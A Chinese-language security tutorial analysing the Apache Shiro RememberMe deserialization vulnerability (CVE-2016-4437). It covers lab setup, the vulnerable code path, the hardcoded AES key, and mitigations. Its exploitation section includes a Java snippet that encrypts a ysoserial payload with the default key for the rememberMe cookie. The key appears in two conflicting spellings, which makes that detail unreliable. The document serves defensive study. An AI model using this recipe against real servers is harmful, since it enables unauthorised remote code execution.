深入探究Shrio反序列化漏洞
字数 1348 2025-08-18 17:33:16
Apache Shiro 反序列化漏洞(CVE-2016-4437)深入分析与利用指南
1. 漏洞概述
漏洞编号: CVE-2016-4437
漏洞名称: Shiro-550反序列化漏洞
影响版本: Apache Shiro 1.2.4及之前版本
漏洞类型: 反序列化远程代码执行
CVSS评分: 9.8 (Critical)
漏洞原理
Shiro框架的RememberMe功能存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,利用默认加密密钥进行加密后作为RememberMe字段发送,服务器在解密和反序列化过程中执行恶意代码。
2. 漏洞环境搭建
2.1 环境准备
-
下载Shiro 1.2.4源码:
https://github.com/apache/shiro/tree/shiro-root-1.2.4 -
修改pom.xml文件:
- 将jstl依赖版本改为1.2
-
使用IDEA导入Maven项目
2.2 运行配置
- 设置运行配置为Tomcat本地服务器
- JRE选择Java 8版本
- 部署工件选择
samples-web:war - 启动后访问
http://localhost:8080/samples_web_war/login.jsp
3. 漏洞分析
3.1 漏洞触发流程
- 用户登录时勾选"Remember Me"
- 服务器返回包含
rememberMe字段的Cookie - 攻击者构造恶意序列化对象,使用默认密钥加密后替换
rememberMe值 - 服务器接收后解密并反序列化,执行恶意代码
3.2 关键代码分析
3.2.1 解密流程
Shiro对RememberMe字段进行三层处理:
-
Base64解码
byte[] decoded = Base64.decode(base64); -
AES解密
bytes = decrypt(bytes); // 使用默认密钥解密 -
反序列化
return deserialize(bytes); // 最终触发反序列化漏洞
3.2.2 默认密钥问题
在AbstractRememberMeManager类的构造方法中:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 使用硬编码密钥
}
默认密钥定义:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
Base64.decode("kPH+bIzk5D2deZiIxcaaaA==");
3.2.3 反序列化点
最终反序列化发生在DefaultSerializer类的deserialize方法中:
public T deserialize(byte[] serialized) throws SerializationException {
// ...
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = (T) ois.readObject(); // 反序列化漏洞触发点
// ...
}
4. 漏洞利用
4.1 漏洞检测
- 访问登录页面并勾选"Remember Me"
- 抓包观察响应中是否包含
rememberMe字段 - 尝试使用默认密钥加密payload发送
4.2 利用步骤
- 生成恶意序列化payload(使用ysoserial等工具)
- 使用Shiro默认密钥加密payload
- 将加密结果Base64编码后作为
rememberMe值发送
4.3 利用代码示例
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.*;
public class ShiroExploit {
public static void main(String[] args) throws Exception {
// 读取ysoserial生成的payload
byte[] payloads = Files.readAllBytes(Paths.get("./payload.bin"));
// 使用Shiro默认密钥加密
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString()); // 输出加密后的payload
}
}
5. 防御措施
- 升级Shiro版本: 升级到1.2.5及以上版本,使用随机生成的密钥
- 自定义加密密钥: 在配置中设置自定义的
cipherKeysecurityManager.rememberMeManager.cipherKey = your_random_key_here - 禁用RememberMe功能: 如不需要,可完全禁用该功能
- 反序列化防护: 使用反序列化过滤器或白名单机制
6. 相关工具
- ysoserial: 生成Java反序列化payload
- ShiroExploit: 自动化利用工具
- BurpSuite插件: Shiro反序列化检测插件
7. 参考链接
- Apache Shiro官方文档
- CVE-2016-4437漏洞公告
- Shiro源码分析文章
本教学文档详细分析了Shiro反序列化漏洞的原理、利用方式和防御措施,关键点包括默认密钥问题、三层解密流程和最终反序列化触发点。通过理解这些核心概念,安全研究人员可以更好地检测和防御此类漏洞。